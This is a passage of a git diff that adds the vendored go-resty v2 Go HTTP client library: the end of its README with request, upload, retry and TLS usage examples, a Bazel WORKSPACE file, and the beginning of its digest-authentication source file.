Time : 457.034718ms
|
||||
Received At: 2020-09-14 15:35:29.784681 -0700 PDT m=+0.458137045
|
||||
Body :
|
||||
{
|
||||
"args": {},
|
||||
"headers": {
|
||||
"Accept-Encoding": "gzip",
|
||||
"Host": "httpbin.org",
|
||||
"User-Agent": "go-resty/2.4.0 (https://github.com/go-resty/resty)",
|
||||
"X-Amzn-Trace-Id": "Root=1-5f5ff031-000ff6292204aa6898e4de49"
|
||||
},
|
||||
"origin": "0.0.0.0",
|
||||
"url": "https://httpbin.org/get"
|
||||
}
|
||||
|
||||
Request Trace Info:
|
||||
DNSLookup : 4.074657ms
|
||||
ConnTime : 381.709936ms
|
||||
TCPConnTime : 77.428048ms
|
||||
TLSHandshake : 299.623597ms
|
||||
ServerTime : 75.414703ms
|
||||
ResponseTime : 79.337µs
|
||||
TotalTime : 457.034718ms
|
||||
IsConnReused : false
|
||||
IsConnWasIdle : false
|
||||
ConnIdleTime : 0s
|
||||
RequestAttempt: 1
|
||||
RemoteAddr : 3.221.81.55:443
|
||||
*/
|
||||
```
|
||||
|
||||
#### Enhanced GET
|
||||
|
||||
```go
|
||||
// Create a Resty Client
|
||||
client := resty.New()
|
||||
|
||||
resp, err := client.R().
|
||||
SetQueryParams(map[string]string{
|
||||
"page_no": "1",
|
||||
"limit": "20",
|
||||
"sort":"name",
|
||||
"order": "asc",
|
||||
"random":strconv.FormatInt(time.Now().Unix(), 10),
|
||||
}).
|
||||
SetHeader("Accept", "application/json").
|
||||
SetAuthToken("BC594900518B4F7EAC75BD37F019E08FBC594900518B4F7EAC75BD37F019E08F").
|
||||
Get("/search_result")
|
||||
|
||||
|
||||
// Sample of using Request.SetQueryString method
|
||||
resp, err := client.R().
|
||||
SetQueryString("productId=232&template=fresh-sample&cat=resty&source=google&kw=buy a lot more").
|
||||
SetHeader("Accept", "application/json").
|
||||
SetAuthToken("BC594900518B4F7EAC75BD37F019E08FBC594900518B4F7EAC75BD37F019E08F").
|
||||
Get("/show_product")
|
||||
|
||||
|
||||
// If necessary, you can force response content type to tell Resty to parse a JSON response into your struct
|
||||
resp, err := client.R().
|
||||
SetResult(result).
|
||||
ForceContentType("application/json").
|
||||
Get("v2/alpine/manifests/latest")
|
||||
```
|
||||
|
||||
#### Various POST method combinations
|
||||
|
||||
```go
|
||||
// Create a Resty Client
|
||||
client := resty.New()
|
||||
|
||||
// POST JSON string
|
||||
// No need to set content type, if you have client level setting
|
||||
resp, err := client.R().
|
||||
SetHeader("Content-Type", "application/json").
|
||||
SetBody(`{"username":"testuser", "password":"testpass"}`).
|
||||
SetResult(&AuthSuccess{}). // or SetResult(AuthSuccess{}).
|
||||
Post("https://myapp.com/login")
|
||||
|
||||
// POST []byte array
|
||||
// No need to set content type, if you have client level setting
|
||||
resp, err := client.R().
|
||||
SetHeader("Content-Type", "application/json").
|
||||
SetBody([]byte(`{"username":"testuser", "password":"testpass"}`)).
|
||||
SetResult(&AuthSuccess{}). // or SetResult(AuthSuccess{}).
|
||||
Post("https://myapp.com/login")
|
||||
|
||||
// POST Struct, default is JSON content type. No need to set one
|
||||
resp, err := client.R().
|
||||
SetBody(User{Username: "testuser", Password: "testpass"}).
|
||||
SetResult(&AuthSuccess{}). // or SetResult(AuthSuccess{}).
|
||||
SetError(&AuthError{}). // or SetError(AuthError{}).
|
||||
Post("https://myapp.com/login")
|
||||
|
||||
// POST Map, default is JSON content type. No need to set one
|
||||
resp, err := client.R().
|
||||
SetBody(map[string]interface{}{"username": "testuser", "password": "testpass"}).
|
||||
SetResult(&AuthSuccess{}). // or SetResult(AuthSuccess{}).
|
||||
SetError(&AuthError{}). // or SetError(AuthError{}).
|
||||
Post("https://myapp.com/login")
|
||||
|
||||
// POST of raw bytes for file upload. For example: upload file to Dropbox
|
||||
fileBytes, _ := os.ReadFile("/Users/jeeva/mydocument.pdf")
|
||||
|
||||
// See we are not setting content-type header, since go-resty automatically detects Content-Type for you
|
||||
resp, err := client.R().
|
||||
SetBody(fileBytes).
|
||||
SetContentLength(true). // Dropbox expects this value
|
||||
SetAuthToken("<your-auth-token>").
|
||||
SetError(&DropboxError{}). // or SetError(DropboxError{}).
|
||||
Post("https://content.dropboxapi.com/1/files_put/auto/resty/mydocument.pdf") // for upload Dropbox supports PUT too
|
||||
|
||||
// Note: resty detects Content-Type for request body/payload if content type header is not set.
|
||||
// * For struct and map data type defaults to 'application/json'
|
||||
// * Fallback is plain text content type
|
||||
```
|
||||
|
||||
#### Sample PUT
|
||||
|
||||
You can use various combinations of `PUT` method call like demonstrated for `POST`.
|
||||
|
||||
```go
|
||||
// Note: This is one sample of PUT method usage, refer POST for more combination
|
||||
|
||||
// Create a Resty Client
|
||||
client := resty.New()
|
||||
|
||||
// Request goes as JSON content type
|
||||
// No need to set auth token, error, if you have client level settings
|
||||
resp, err := client.R().
|
||||
SetBody(Article{
|
||||
Title: "go-resty",
|
||||
Content: "This is my article content, oh ya!",
|
||||
Author: "Jeevanandam M",
|
||||
Tags: []string{"article", "sample", "resty"},
|
||||
}).
|
||||
SetAuthToken("C6A79608-782F-4ED0-A11D-BD82FAD829CD").
|
||||
SetError(&Error{}). // or SetError(Error{}).
|
||||
Put("https://myapp.com/article/1234")
|
||||
```
|
||||
|
||||
#### Sample PATCH
|
||||
|
||||
You can use various combinations of `PATCH` method call like demonstrated for `POST`.
|
||||
|
||||
```go
|
||||
// Note: This is one sample of PUT method usage, refer POST for more combination
|
||||
|
||||
// Create a Resty Client
|
||||
client := resty.New()
|
||||
|
||||
// Request goes as JSON content type
|
||||
// No need to set auth token, error, if you have client level settings
|
||||
resp, err := client.R().
|
||||
SetBody(Article{
|
||||
Tags: []string{"new tag1", "new tag2"},
|
||||
}).
|
||||
SetAuthToken("C6A79608-782F-4ED0-A11D-BD82FAD829CD").
|
||||
SetError(&Error{}). // or SetError(Error{}).
|
||||
Patch("https://myapp.com/articles/1234")
|
||||
```
|
||||
|
||||
#### Sample DELETE, HEAD, OPTIONS
|
||||
|
||||
```go
|
||||
// Create a Resty Client
|
||||
client := resty.New()
|
||||
|
||||
// DELETE a article
|
||||
// No need to set auth token, error, if you have client level settings
|
||||
resp, err := client.R().
|
||||
SetAuthToken("C6A79608-782F-4ED0-A11D-BD82FAD829CD").
|
||||
SetError(&Error{}). // or SetError(Error{}).
|
||||
Delete("https://myapp.com/articles/1234")
|
||||
|
||||
// DELETE a articles with payload/body as a JSON string
|
||||
// No need to set auth token, error, if you have client level settings
|
||||
resp, err := client.R().
|
||||
SetAuthToken("C6A79608-782F-4ED0-A11D-BD82FAD829CD").
|
||||
SetError(&Error{}). // or SetError(Error{}).
|
||||
SetHeader("Content-Type", "application/json").
|
||||
SetBody(`{article_ids: [1002, 1006, 1007, 87683, 45432] }`).
|
||||
Delete("https://myapp.com/articles")
|
||||
|
||||
// HEAD of resource
|
||||
// No need to set auth token, if you have client level settings
|
||||
resp, err := client.R().
|
||||
SetAuthToken("C6A79608-782F-4ED0-A11D-BD82FAD829CD").
|
||||
Head("https://myapp.com/videos/hi-res-video")
|
||||
|
||||
// OPTIONS of resource
|
||||
// No need to set auth token, if you have client level settings
|
||||
resp, err := client.R().
|
||||
SetAuthToken("C6A79608-782F-4ED0-A11D-BD82FAD829CD").
|
||||
Options("https://myapp.com/servers/nyc-dc-01")
|
||||
```
|
||||
|
||||
#### Override JSON & XML Marshal/Unmarshal
|
||||
|
||||
User could register choice of JSON/XML library into resty or write your own. By default resty registers standard `encoding/json` and `encoding/xml` respectively.
|
||||
```go
|
||||
// Example of registering json-iterator
|
||||
import jsoniter "github.com/json-iterator/go"
|
||||
|
||||
json := jsoniter.ConfigCompatibleWithStandardLibrary
|
||||
|
||||
client := resty.New().
|
||||
SetJSONMarshaler(json.Marshal).
|
||||
SetJSONUnmarshaler(json.Unmarshal)
|
||||
|
||||
// similarly user could do for XML too with -
|
||||
client.SetXMLMarshaler(xml.Marshal).
|
||||
SetXMLUnmarshaler(xml.Unmarshal)
|
||||
```
|
||||
|
||||
### Multipart File(s) upload
|
||||
|
||||
#### Using io.Reader
|
||||
|
||||
```go
|
||||
profileImgBytes, _ := os.ReadFile("/Users/jeeva/test-img.png")
|
||||
notesBytes, _ := os.ReadFile("/Users/jeeva/text-file.txt")
|
||||
|
||||
// Create a Resty Client
|
||||
client := resty.New()
|
||||
|
||||
resp, err := client.R().
|
||||
SetFileReader("profile_img", "test-img.png", bytes.NewReader(profileImgBytes)).
|
||||
SetFileReader("notes", "text-file.txt", bytes.NewReader(notesBytes)).
|
||||
SetFormData(map[string]string{
|
||||
"first_name": "Jeevanandam",
|
||||
"last_name": "M",
|
||||
}).
|
||||
Post("http://myapp.com/upload")
|
||||
```
|
||||
|
||||
#### Using File directly from Path
|
||||
|
||||
```go
|
||||
// Create a Resty Client
|
||||
client := resty.New()
|
||||
|
||||
// Single file scenario
|
||||
resp, err := client.R().
|
||||
SetFile("profile_img", "/Users/jeeva/test-img.png").
|
||||
Post("http://myapp.com/upload")
|
||||
|
||||
// Multiple files scenario
|
||||
resp, err := client.R().
|
||||
SetFiles(map[string]string{
|
||||
"profile_img": "/Users/jeeva/test-img.png",
|
||||
"notes": "/Users/jeeva/text-file.txt",
|
||||
}).
|
||||
Post("http://myapp.com/upload")
|
||||
|
||||
// Multipart of form fields and files
|
||||
resp, err := client.R().
|
||||
SetFiles(map[string]string{
|
||||
"profile_img": "/Users/jeeva/test-img.png",
|
||||
"notes": "/Users/jeeva/text-file.txt",
|
||||
}).
|
||||
SetFormData(map[string]string{
|
||||
"first_name": "Jeevanandam",
|
||||
"last_name": "M",
|
||||
"zip_code": "00001",
|
||||
"city": "my city",
|
||||
"access_token": "C6A79608-782F-4ED0-A11D-BD82FAD829CD",
|
||||
}).
|
||||
Post("http://myapp.com/profile")
|
||||
```
|
||||
|
||||
#### Sample Form submission
|
||||
|
||||
```go
|
||||
// Create a Resty Client
|
||||
client := resty.New()
|
||||
|
||||
// just mentioning about POST as an example with simple flow
|
||||
// User Login
|
||||
resp, err := client.R().
|
||||
SetFormData(map[string]string{
|
||||
"username": "jeeva",
|
||||
"password": "mypass",
|
||||
}).
|
||||
Post("http://myapp.com/login")
|
||||
|
||||
// Followed by profile update
|
||||
resp, err := client.R().
|
||||
SetFormData(map[string]string{
|
||||
"first_name": "Jeevanandam",
|
||||
"last_name": "M",
|
||||
"zip_code": "00001",
|
||||
"city": "new city update",
|
||||
}).
|
||||
Post("http://myapp.com/profile")
|
||||
|
||||
// Multi value form data
|
||||
criteria := url.Values{
|
||||
"search_criteria": []string{"book", "glass", "pencil"},
|
||||
}
|
||||
resp, err := client.R().
|
||||
SetFormDataFromValues(criteria).
|
||||
Post("http://myapp.com/search")
|
||||
```
|
||||
|
||||
#### Save HTTP Response into File
|
||||
|
||||
```go
|
||||
// Create a Resty Client
|
||||
client := resty.New()
|
||||
|
||||
// Setting output directory path, If directory not exists then resty creates one!
|
||||
// This is optional one, if you're planning using absolute path in
|
||||
// `Request.SetOutput` and can used together.
|
||||
client.SetOutputDirectory("/Users/jeeva/Downloads")
|
||||
|
||||
// HTTP response gets saved into file, similar to curl -o flag
|
||||
_, err := client.R().
|
||||
SetOutput("plugin/ReplyWithHeader-v5.1-beta.zip").
|
||||
Get("http://bit.ly/1LouEKr")
|
||||
|
||||
// OR using absolute path
|
||||
// Note: output directory path is not used for absolute path
|
||||
_, err := client.R().
|
||||
SetOutput("/MyDownloads/plugin/ReplyWithHeader-v5.1-beta.zip").
|
||||
Get("http://bit.ly/1LouEKr")
|
||||
```
|
||||
|
||||
#### Request URL Path Params
|
||||
|
||||
Resty provides easy to use dynamic request URL path params. Params can be set at client and request level. Client level params value can be overridden at request level.
|
||||
|
||||
```go
|
||||
// Create a Resty Client
|
||||
client := resty.New()
|
||||
|
||||
client.R().SetPathParams(map[string]string{
|
||||
"userId": "sample@sample.com",
|
||||
"subAccountId": "100002",
|
||||
}).
|
||||
Get("/v1/users/{userId}/{subAccountId}/details")
|
||||
|
||||
// Result:
|
||||
// Composed URL - /v1/users/sample@sample.com/100002/details
|
||||
```
|
||||
|
||||
#### Request and Response Middleware
|
||||
|
||||
Resty provides middleware ability to manipulate for Request and Response. It is more flexible than callback approach.
|
||||
|
||||
```go
|
||||
// Create a Resty Client
|
||||
client := resty.New()
|
||||
|
||||
// Registering Request Middleware
|
||||
client.OnBeforeRequest(func(c *resty.Client, req *resty.Request) error {
|
||||
// Now you have access to Client and current Request object
|
||||
// manipulate it as per your need
|
||||
|
||||
return nil // if its success otherwise return error
|
||||
})
|
||||
|
||||
// Registering Response Middleware
|
||||
client.OnAfterResponse(func(c *resty.Client, resp *resty.Response) error {
|
||||
// Now you have access to Client and current Response object
|
||||
// manipulate it as per your need
|
||||
|
||||
return nil // if its success otherwise return error
|
||||
})
|
||||
```
|
||||
|
||||
#### OnError Hooks
|
||||
|
||||
Resty provides OnError hooks that may be called because:
|
||||
|
||||
- The client failed to send the request due to connection timeout, TLS handshake failure, etc...
|
||||
- The request was retried the maximum amount of times, and still failed.
|
||||
|
||||
If there was a response from the server, the original error will be wrapped in `*resty.ResponseError` which contains the last response received.
|
||||
|
||||
```go
|
||||
// Create a Resty Client
|
||||
client := resty.New()
|
||||
|
||||
client.OnError(func(req *resty.Request, err error) {
|
||||
if v, ok := err.(*resty.ResponseError); ok {
|
||||
// v.Response contains the last response from the server
|
||||
// v.Err contains the original error
|
||||
}
|
||||
// Log the error, increment a metric, etc...
|
||||
})
|
||||
```
|
||||
|
||||
#### Redirect Policy
|
||||
|
||||
Resty provides few ready to use redirect policy(s) also it supports multiple policies together.
|
||||
|
||||
```go
|
||||
// Create a Resty Client
|
||||
client := resty.New()
|
||||
|
||||
// Assign Client Redirect Policy. Create one as per you need
|
||||
client.SetRedirectPolicy(resty.FlexibleRedirectPolicy(15))
|
||||
|
||||
// Wanna multiple policies such as redirect count, domain name check, etc
|
||||
client.SetRedirectPolicy(resty.FlexibleRedirectPolicy(20),
|
||||
resty.DomainCheckRedirectPolicy("host1.com", "host2.org", "host3.net"))
|
||||
```
|
||||
|
||||
##### Custom Redirect Policy
|
||||
|
||||
Implement [RedirectPolicy](redirect.go#L20) interface and register it with resty client. Have a look [redirect.go](redirect.go) for more information.
|
||||
|
||||
```go
|
||||
// Create a Resty Client
|
||||
client := resty.New()
|
||||
|
||||
// Using raw func into resty.SetRedirectPolicy
|
||||
client.SetRedirectPolicy(resty.RedirectPolicyFunc(func(req *http.Request, via []*http.Request) error {
|
||||
// Implement your logic here
|
||||
|
||||
// return nil for continue redirect otherwise return error to stop/prevent redirect
|
||||
return nil
|
||||
}))
|
||||
|
||||
//---------------------------------------------------
|
||||
|
||||
// Using struct create more flexible redirect policy
|
||||
type CustomRedirectPolicy struct {
|
||||
// variables goes here
|
||||
}
|
||||
|
||||
func (c *CustomRedirectPolicy) Apply(req *http.Request, via []*http.Request) error {
|
||||
// Implement your logic here
|
||||
|
||||
// return nil for continue redirect otherwise return error to stop/prevent redirect
|
||||
return nil
|
||||
}
|
||||
|
||||
// Registering in resty
|
||||
client.SetRedirectPolicy(CustomRedirectPolicy{/* initialize variables */})
|
||||
```
|
||||
|
||||
#### Custom Root Certificates and Client Certificates
|
||||
|
||||
```go
|
||||
// Create a Resty Client
|
||||
client := resty.New()
|
||||
|
||||
// Custom Root certificates, just supply .pem file.
|
||||
// you can add one or more root certificates, its get appended
|
||||
client.SetRootCertificate("/path/to/root/pemFile1.pem")
|
||||
client.SetRootCertificate("/path/to/root/pemFile2.pem")
|
||||
// ... and so on!
|
||||
|
||||
// Adding Client Certificates, you add one or more certificates
|
||||
// Sample for creating certificate object
|
||||
// Parsing public/private key pair from a pair of files. The files must contain PEM encoded data.
|
||||
cert1, err := tls.LoadX509KeyPair("certs/client.pem", "certs/client.key")
|
||||
if err != nil {
|
||||
log.Fatalf("ERROR client certificate: %s", err)
|
||||
}
|
||||
// ...
|
||||
|
||||
// You add one or more certificates
|
||||
client.SetCertificates(cert1, cert2, cert3)
|
||||
```
|
||||
|
||||
#### Custom Root Certificates and Client Certificates from string
|
||||
|
||||
```go
|
||||
// Custom Root certificates from string
|
||||
// You can pass you certificates through env variables as strings
|
||||
// you can add one or more root certificates, its get appended
|
||||
client.SetRootCertificateFromString("-----BEGIN CERTIFICATE-----content-----END CERTIFICATE-----")
|
||||
client.SetRootCertificateFromString("-----BEGIN CERTIFICATE-----content-----END CERTIFICATE-----")
|
||||
// ... and so on!
|
||||
|
||||
// Adding Client Certificates, you add one or more certificates
|
||||
// Sample for creating certificate object
|
||||
// Parsing public/private key pair from a pair of files. The files must contain PEM encoded data.
|
||||
cert1, err := tls.X509KeyPair([]byte("-----BEGIN CERTIFICATE-----content-----END CERTIFICATE-----"), []byte("-----BEGIN CERTIFICATE-----content-----END CERTIFICATE-----"))
|
||||
if err != nil {
|
||||
log.Fatalf("ERROR client certificate: %s", err)
|
||||
}
|
||||
// ...
|
||||
|
||||
// You add one or more certificates
|
||||
client.SetCertificates(cert1, cert2, cert3)
|
||||
```
|
||||
|
||||
#### Proxy Settings
|
||||
|
||||
Default `Go` supports Proxy via environment variable `HTTP_PROXY`. Resty provides support via `SetProxy` & `RemoveProxy`.
|
||||
Choose as per your need.
|
||||
|
||||
**Client Level Proxy** settings applied to all the request
|
||||
|
||||
```go
|
||||
// Create a Resty Client
|
||||
client := resty.New()
|
||||
|
||||
// Setting a Proxy URL and Port
|
||||
client.SetProxy("http://proxyserver:8888")
|
||||
|
||||
// Want to remove proxy setting
|
||||
client.RemoveProxy()
|
||||
```
|
||||
|
||||
#### Retries
|
||||
|
||||
Resty uses [backoff](http://www.awsarchitectureblog.com/2015/03/backoff.html)
|
||||
to increase retry intervals after each attempt.
|
||||
|
||||
Usage example:
|
||||
|
||||
```go
|
||||
// Create a Resty Client
|
||||
client := resty.New()
|
||||
|
||||
// Retries are configured per client
|
||||
client.
|
||||
// Set retry count to non zero to enable retries
|
||||
SetRetryCount(3).
|
||||
// You can override initial retry wait time.
|
||||
// Default is 100 milliseconds.
|
||||
SetRetryWaitTime(5 * time.Second).
|
||||
// MaxWaitTime can be overridden as well.
|
||||
// Default is 2 seconds.
|
||||
SetRetryMaxWaitTime(20 * time.Second).
|
||||
// SetRetryAfter sets callback to calculate wait time between retries.
|
||||
// Default (nil) implies exponential backoff with jitter
|
||||
SetRetryAfter(func(client *resty.Client, resp *resty.Response) (time.Duration, error) {
|
||||
return 0, errors.New("quota exceeded")
|
||||
})
|
||||
```
|
||||
|
||||
By default, resty will retry requests that return a non-nil error during execution.
|
||||
Therefore, the above setup will result in resty retrying requests with non-nil errors up to 3 times,
|
||||
with the delay increasing after each attempt.
|
||||
|
||||
You can optionally provide client with [custom retry conditions](https://pkg.go.dev/github.com/go-resty/resty/v2#RetryConditionFunc):
|
||||
|
||||
```go
|
||||
// Create a Resty Client
|
||||
client := resty.New()
|
||||
|
||||
client.AddRetryCondition(
|
||||
// RetryConditionFunc type is for retry condition function
|
||||
// input: non-nil Response OR request execution error
|
||||
func(r *resty.Response, err error) bool {
|
||||
return r.StatusCode() == http.StatusTooManyRequests
|
||||
},
|
||||
)
|
||||
```
|
||||
|
||||
The above example will make resty retry requests that end with a `429 Too Many Requests` status code.
|
||||
It's important to note that when you specify conditions using `AddRetryCondition`,
|
||||
it will override the default retry behavior, which retries on errors encountered during the request.
|
||||
If you want to retry on errors encountered during the request, similar to the default behavior,
|
||||
you'll need to configure it as follows:
|
||||
|
||||
```go
|
||||
// Create a Resty Client
|
||||
client := resty.New()
|
||||
|
||||
client.AddRetryCondition(
|
||||
func(r *resty.Response, err error) bool {
|
||||
// Including "err != nil" emulates the default retry behavior for errors encountered during the request.
|
||||
return err != nil || r.StatusCode() == http.StatusTooManyRequests
|
||||
},
|
||||
)
|
||||
```
|
||||
|
||||
Multiple retry conditions can be added.
|
||||
Note that if multiple conditions are specified, a retry will occur if any of the conditions are met.
|
||||
|
||||
It is also possible to use `resty.Backoff(...)` to get arbitrary retry scenarios
|
||||
implemented. [Reference](retry_test.go).
|
||||
|
||||
#### Allow GET request with Payload
|
||||
|
||||
```go
|
||||
// Create a Resty Client
|
||||
client := resty.New()
|
||||
|
||||
// Allow GET request with Payload. This is disabled by default.
|
||||
client.SetAllowGetMethodPayload(true)
|
||||
```
|
||||
|
||||
#### Wanna Multiple Clients
|
||||
|
||||
```go
|
||||
// Here you go!
|
||||
// Client 1
|
||||
client1 := resty.New()
|
||||
client1.R().Get("http://httpbin.org")
|
||||
// ...
|
||||
|
||||
// Client 2
|
||||
client2 := resty.New()
|
||||
client2.R().Head("http://httpbin.org")
|
||||
// ...
|
||||
|
||||
// Bend it as per your need!!!
|
||||
```
|
||||
|
||||
#### Remaining Client Settings & its Options
|
||||
|
||||
```go
|
||||
// Create a Resty Client
|
||||
client := resty.New()
|
||||
|
||||
// Unique settings at Client level
|
||||
//--------------------------------
|
||||
// Enable debug mode
|
||||
client.SetDebug(true)
|
||||
|
||||
// Assign Client TLSClientConfig
|
||||
// One can set custom root-certificate. Refer: http://golang.org/pkg/crypto/tls/#example_Dial
|
||||
client.SetTLSClientConfig(&tls.Config{ RootCAs: roots })
|
||||
|
||||
// or One can disable security check (https)
|
||||
client.SetTLSClientConfig(&tls.Config{ InsecureSkipVerify: true })
|
||||
|
||||
// Set client timeout as per your need
|
||||
client.SetTimeout(1 * time.Minute)
|
||||
|
||||
|
||||
// You can override all below settings and options at request level if you want to
|
||||
//--------------------------------------------------------------------------------
|
||||
// Host URL for all request. So you can use relative URL in the request
|
||||
client.SetBaseURL("http://httpbin.org")
|
||||
|
||||
// Headers for all request
|
||||
client.SetHeader("Accept", "application/json")
|
||||
client.SetHeaders(map[string]string{
|
||||
"Content-Type": "application/json",
|
||||
"User-Agent": "My custom User Agent String",
|
||||
})
|
||||
|
||||
// Cookies for all request
|
||||
client.SetCookie(&http.Cookie{
|
||||
Name:"go-resty",
|
||||
Value:"This is cookie value",
|
||||
Path: "/",
|
||||
Domain: "sample.com",
|
||||
MaxAge: 36000,
|
||||
HttpOnly: true,
|
||||
Secure: false,
|
||||
})
|
||||
client.SetCookies(cookies)
|
||||
|
||||
// URL query parameters for all request
|
||||
client.SetQueryParam("user_id", "00001")
|
||||
client.SetQueryParams(map[string]string{ // sample of those who use this manner
|
||||
"api_key": "api-key-here",
|
||||
"api_secret": "api-secret",
|
||||
})
|
||||
client.R().SetQueryString("productId=232&template=fresh-sample&cat=resty&source=google&kw=buy a lot more")
|
||||
|
||||
// Form data for all request. Typically used with POST and PUT
|
||||
client.SetFormData(map[string]string{
|
||||
"access_token": "BC594900-518B-4F7E-AC75-BD37F019E08F",
|
||||
})
|
||||
|
||||
// Basic Auth for all request
|
||||
client.SetBasicAuth("myuser", "mypass")
|
||||
|
||||
// Bearer Auth Token for all request
|
||||
client.SetAuthToken("BC594900518B4F7EAC75BD37F019E08FBC594900518B4F7EAC75BD37F019E08F")
|
||||
|
||||
// Enabling Content length value for all request
|
||||
client.SetContentLength(true)
|
||||
|
||||
// Registering global Error object structure for JSON/XML request
|
||||
client.SetError(&Error{}) // or resty.SetError(Error{})
|
||||
```
|
||||
|
||||
#### Unix Socket
|
||||
|
||||
```go
|
||||
unixSocket := "/var/run/my_socket.sock"
|
||||
|
||||
// Create a Go's http.Transport so we can set it in resty.
|
||||
transport := http.Transport{
|
||||
Dial: func(_, _ string) (net.Conn, error) {
|
||||
return net.Dial("unix", unixSocket)
|
||||
},
|
||||
}
|
||||
|
||||
// Create a Resty Client
|
||||
client := resty.New()
|
||||
|
||||
// Set the previous transport that we created, set the scheme of the communication to the
|
||||
// socket and set the unixSocket as the HostURL.
|
||||
client.SetTransport(&transport).SetScheme("http").SetBaseURL(unixSocket)
|
||||
|
||||
// No need to write the host's URL on the request, just the path.
|
||||
client.R().Get("http://localhost/index.html")
|
||||
```
|
||||
|
||||
#### Bazel Support
|
||||
|
||||
Resty can be built, tested and depended upon via [Bazel](https://bazel.build).
|
||||
For example, to run all tests:
|
||||
|
||||
```shell
|
||||
bazel test :resty_test
|
||||
```
|
||||
|
||||
#### Mocking http requests using [httpmock](https://github.com/jarcoal/httpmock) library
|
||||
|
||||
In order to mock the http requests when testing your application you
|
||||
could use the `httpmock` library.
|
||||
|
||||
When using the default resty client, you should pass the client to the library as follow:
|
||||
|
||||
```go
|
||||
// Create a Resty Client
|
||||
client := resty.New()
|
||||
|
||||
// Get the underlying HTTP Client and set it to Mock
|
||||
httpmock.ActivateNonDefault(client.GetClient())
|
||||
```
|
||||
|
||||
More detailed example of mocking resty http requests using ginko could be found [here](https://github.com/jarcoal/httpmock#ginkgo--resty-example).
|
||||
|
||||
## Versioning
|
||||
|
||||
Resty releases versions according to [Semantic Versioning](http://semver.org)
|
||||
|
||||
* Resty v2 does not use `gopkg.in` service for library versioning.
|
||||
* Resty fully adapted to `go mod` capabilities since `v1.10.0` release.
|
||||
* Resty v1 series was using `gopkg.in` to provide versioning. `gopkg.in/resty.vX` points to appropriate tagged versions; `X` denotes version series number and it's a stable release for production use. For e.g. `gopkg.in/resty.v0`.
|
||||
* Development takes place at the master branch. Although the code in master should always compile and test successfully, it might break API's. I aim to maintain backwards compatibility, but sometimes API's and behavior might be changed to fix a bug.
|
||||
|
||||
## Contribution
|
||||
|
||||
I would welcome your contribution! If you find any improvement or issue you want to fix, feel free to send a pull request, I like pull requests that include test cases for fix/enhancement. I have done my best to bring pretty good code coverage. Feel free to write tests.
|
||||
|
||||
BTW, I'd like to know what you think about `Resty`. Kindly open an issue or send me an email; it'd mean a lot to me.
|
||||
|
||||
## Creator
|
||||
|
||||
[Jeevanandam M.](https://github.com/jeevatkm) (jeeva@myjeeva.com)
|
||||
|
||||
## Core Team
|
||||
|
||||
Have a look on [Members](https://github.com/orgs/go-resty/people) page.
|
||||
|
||||
## Contributors
|
||||
|
||||
Have a look on [Contributors](https://github.com/go-resty/resty/graphs/contributors) page.
|
||||
|
||||
## License
|
||||
|
||||
Resty released under MIT license, refer [LICENSE](LICENSE) file.
|
31
vendor/github.com/go-resty/resty/v2/WORKSPACE
generated
vendored
Normal file
31
vendor/github.com/go-resty/resty/v2/WORKSPACE
generated
vendored
Normal file
@ -0,0 +1,31 @@
|
||||
workspace(name = "resty")
|
||||
|
||||
load("@bazel_tools//tools/build_defs/repo:http.bzl", "http_archive")
|
||||
|
||||
http_archive(
|
||||
name = "io_bazel_rules_go",
|
||||
sha256 = "69de5c704a05ff37862f7e0f5534d4f479418afc21806c887db544a316f3cb6b",
|
||||
urls = [
|
||||
"https://mirror.bazel.build/github.com/bazelbuild/rules_go/releases/download/v0.27.0/rules_go-v0.27.0.tar.gz",
|
||||
"https://github.com/bazelbuild/rules_go/releases/download/v0.27.0/rules_go-v0.27.0.tar.gz",
|
||||
],
|
||||
)
|
||||
|
||||
http_archive(
|
||||
name = "bazel_gazelle",
|
||||
sha256 = "62ca106be173579c0a167deb23358fdfe71ffa1e4cfdddf5582af26520f1c66f",
|
||||
urls = [
|
||||
"https://mirror.bazel.build/github.com/bazelbuild/bazel-gazelle/releases/download/v0.23.0/bazel-gazelle-v0.23.0.tar.gz",
|
||||
"https://github.com/bazelbuild/bazel-gazelle/releases/download/v0.23.0/bazel-gazelle-v0.23.0.tar.gz",
|
||||
],
|
||||
)
|
||||
|
||||
load("@io_bazel_rules_go//go:deps.bzl", "go_register_toolchains", "go_rules_dependencies")
|
||||
|
||||
go_rules_dependencies()
|
||||
|
||||
go_register_toolchains(version = "1.16")
|
||||
|
||||
load("@bazel_gazelle//:deps.bzl", "gazelle_dependencies")
|
||||
|
||||
gazelle_dependencies()
|
1412
vendor/github.com/go-resty/resty/v2/client.go
generated
vendored
Normal file
1412
vendor/github.com/go-resty/resty/v2/client.go
generated
vendored
Normal file
File diff suppressed because it is too large
Load Diff
295
vendor/github.com/go-resty/resty/v2/digest.go
generated
vendored
Normal file
295
vendor/github.com/go-resty/resty/v2/digest.go
generated
vendored
Normal file
@ -0,0 +1,295 @@
|
||||
// Copyright (c) 2015-2023 Jeevanandam M (jeeva@myjeeva.com)
|
||||
// 2023 Segev Dagan (https://github.com/segevda)
|
||||
// All rights reserved.
|
||||
// resty source code and usage is governed by a MIT style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package resty
|
||||
|
||||
import (
|
||||
"crypto/md5"
|
||||
"crypto/rand"
|
||||
"crypto/sha256"
|
||||
"crypto/sha512"
|
||||
"errors"
|
||||
"fmt"
|
||||
"hash"
|
||||
"io"
|
||||
"net/http"
|
||||
"strings"
|
||||
)
|
||||
|
||||
var (
|
||||
ErrDigestBadChallenge = errors.New("digest: challenge is bad")
|
||||
ErrDigestCharset = errors.New("digest: unsupported charset")
|
||||
ErrDigestAlgNotSupported = errors.New("digest: algorithm is not supported")
|
||||
ErrDigestQopNotSupported = errors.New("digest: no supported qop in list")
|
||||
ErrDigestNoQop = errors.New("digest: qop must be specified")
|
||||
)
|
||||
|
||||
var hashFuncs = map[string]func() hash.Hash{
|
||||
"": md5.New,
|
||||
"MD5": md5.New,
|
||||
"MD5-sess": md5.New,
|
||||
"SHA-256": sha256.New,
|
||||
"SHA-256-sess": sha256.New,
|
||||
"SHA-512-256": sha512.New,
|
||||
"SHA-512-256-sess": sha512.New,
|
||||
}
|
||||
|
||||
type digestCredentials struct {
|
||||
username, password string
|
||||
}
|
||||
|
||||
type digestTransport struct {
|
||||
digestCredentials
|
||||
transport http.RoundTripper
|
||||
}
|
||||
|
||||
func (dt *digestTransport) RoundTrip(req *http.Request) (*http.Response, error) {
|
||||
// Copy the request, so we don't modify the input.
|
||||
req2 := new(http.Request)
|
||||
*req2 = *req
|
||||
req2.Header = make(http.Header)
|
||||
for k, s := range req.Header {
|
||||
